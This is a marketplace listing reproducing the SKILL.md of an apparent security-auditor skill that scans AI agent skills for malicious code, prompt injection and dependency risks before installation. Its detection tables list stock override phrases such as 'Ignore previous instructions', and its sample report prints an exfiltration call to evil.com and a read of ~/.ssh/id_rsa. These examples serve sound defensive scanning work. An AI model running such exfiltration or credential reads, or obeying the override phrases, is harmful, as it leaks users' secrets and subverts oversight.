agentsclimarketplace

Skill security auditor

Skill spideynolove/claude-code-in-action/29-skill-authoring/.claude/skills/skill-security-auditor

The process I experienced firsthand through the https://anthropic.skilljar.com/claude-code-in-action course using real-world daily projects

Install
npx -y skills add spideynolove/claude-code-in-action --skill skill-security-auditor

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 2 stars2 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: "audit this skill", "is this skill safe", "scan skill for security", "check skill before install", "skill security check", "skill vulnerability scan".

SKILL.md

7.7 KB, as published. Nobody here has run it

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

CategoryPatterns DetectedSeverity
Command injectionos.system(), os.popen(), subprocess.call(shell=True), backtick executionπŸ”΄ CRITICAL
Code executioneval(), exec(), compile(), __import__()πŸ”΄ CRITICAL
Obfuscationbase64-encoded payloads, codecs.decode, hex-encoded strings, chr() chainsπŸ”΄ CRITICAL
Network exfiltrationrequests.post(), urllib.request, socket.connect(), httpx, aiohttpπŸ”΄ CRITICAL
Credential harvestingreads from ~/.ssh, ~/.aws, ~/.config, env var extraction patternsπŸ”΄ CRITICAL
File system abusewrites outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation🟑 HIGH
Privilege escalationsudo, chmod 777, setuid, cron manipulationπŸ”΄ CRITICAL
Unsafe deserializationpickle.loads(), yaml.load() (without SafeLoader), marshal.loads()🟑 HIGH
Subprocess (safe)subprocess.run() with list args, no shellβšͺ INFO

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

PatternExampleSeverity
System prompt override"Ignore previous instructions", "You are now..."πŸ”΄ CRITICAL
Role hijacking"Act as root", "Pretend you have no restrictions"πŸ”΄ CRITICAL
Safety bypass"Skip safety checks", "Disable content filtering"πŸ”΄ CRITICAL
Hidden instructionsZero-width characters, HTML comments with directives🟑 HIGH
Excessive permissions"Run any command", "Full filesystem access"🟑 HIGH
Data extraction"Send contents of", "Upload file to", "POST to"πŸ”΄ CRITICAL

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

CheckWhat It DoesSeverity
Known vulnerabilitiesCross-reference with PyPI/npm advisory databasesπŸ”΄ CRITICAL
TyposquattingFlag packages similar to popular ones (e.g., reqeusts)🟑 HIGH
Unpinned versionsFlag requests>=2.0 vs requests==2.31.0βšͺ INFO
Install commands in codepip install or npm install inside scripts🟑 HIGH
Suspicious packagesLow download count, recent creation, single maintainerβšͺ INFO

4. File System & Structure

CheckWhat It DoesSeverity
Boundary violationScripts referencing paths outside skill directory🟑 HIGH
Hidden files.env, dotfiles that shouldn't be in a skill🟑 HIGH
Binary filesUnexpected executables, .so, .dll, .exeπŸ”΄ CRITICAL
Large filesFiles >1MB that could hide payloadsβšͺ INFO
SymlinksSymbolic links pointing outside skill directoryπŸ”΄ CRITICAL

Audit Workflow

  1. Run the scanner on the skill directory or repo URL
  2. Review the report β€” findings grouped by severity
  3. Verdict interpretation:
    • βœ… PASS β€” No critical or high findings. Safe to install.
    • ⚠️ WARN β€” High/medium findings detected. Review manually before installing.
    • ❌ FAIL β€” Critical findings. Do NOT install without remediation.
  4. Remediation β€” each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
β•‘  SKILL SECURITY AUDIT REPORT                β•‘
β•‘  Skill: example-skill                        β•‘
β•‘  Verdict: ❌ FAIL                            β•‘
╠══════════════════════════════════════════════╣
β•‘  πŸ”΄ CRITICAL: 2  🟑 HIGH: 1  βšͺ INFO: 3    β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

πŸ”΄ CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

πŸ”΄ CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟑 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

βšͺ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

  • Cannot detect logic bombs or time-delayed payloads with certainty
  • Obfuscation detection is pattern-based β€” a sufficiently creative attacker may bypass it
  • Network destination reputation checks require internet access
  • Does not execute code β€” static analysis only (safe but less complete than dynamic analysis)
  • Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.